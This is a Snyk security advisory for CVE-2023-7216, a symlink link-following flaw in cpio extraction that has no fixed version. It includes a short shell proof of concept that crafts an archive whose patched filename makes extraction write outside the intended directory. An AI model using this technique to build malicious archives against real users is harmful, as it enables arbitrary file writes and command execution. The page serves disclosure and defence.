Improper Link Resolution Before File Access ('Link Following') Affecting cpio package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.41% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-CPIO-6231841
  • published8 Feb 2024
  • disclosed5 Feb 2024
  • creditFebin Mon Saji

Introduced: 5 Feb 2024

CVE-2023-7216  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

There is no fixed version for cpio.

Overview

Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') via the extraction process. An attacker can execute arbitrary commands on the target system by tricking a user into opening a specially crafted archive that contains symlinks leading outside of the intended directory.

PoC

mkdir testcpio
 ln -sf /tmp/ testcpio/tmp
 echo "TEST Traversal" > testcpio/tmpYtrav.txt
 cd testcpio/
 ls | cpio -ov > ../trav.cpio
 cd ../
 sed -i s/"tmpY"/"tmp\/"/g trav.cpio

CVSS Scores

version 3.1